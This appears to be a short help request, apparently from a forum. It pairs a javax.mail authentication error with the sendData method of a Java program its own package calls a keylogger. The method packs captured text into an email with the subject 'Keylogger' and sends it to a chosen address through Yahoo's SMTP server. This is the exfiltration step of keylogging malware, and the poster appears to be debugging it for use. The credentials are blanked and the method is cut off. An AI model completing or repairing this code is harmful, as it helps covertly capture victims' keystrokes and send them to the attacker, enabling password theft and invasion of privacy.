javax.mail.AuthenticationFailedException: failed to connect, no password specified?
2015/12/29 16:07:41
at javax.mail.Service.connect(Service.java:329)
at javax.mail.Service.connect(Service.java:176)
at javax.mail.Service.connect(Service.java:125)
at javax.mail.Transport.send0(Transport.java:194)
at javax.mail.Transport.send(Transport.java:124)
at keylog.keylogger.sendData(keylogger.java:81)
at keylog.keylogging.main(keylogging.java:41)

public void sendData(String s, String $mail) throws IOException,             MessagingException
{
    String host = "smtp.yahoo.com";
    String from = "??@yahoo.com";
    Properties props = System.getProperties();
    props.put("mail.smtp.host", host);
    props.put("mail.smtp.user", from);
    props.put("mail.smtp.password", "??");
    props.put("mail.smtp.port", "465");
    props.put("mail.smtp.auth", "true");
    Session session = Session.getDefaultInstance(props, null);
    Message message = new MimeMessage(session);
    message.setFrom(new InternetAddress("??@yahoo.com"));
    message.setSubject("Keylogger");
    message.setText(s);
    message.addRecipient(RecipientType.TO, new InternetAddress($mail));
    Transport.send(message);
    out.println(s);
    hackee.close();
    out.close();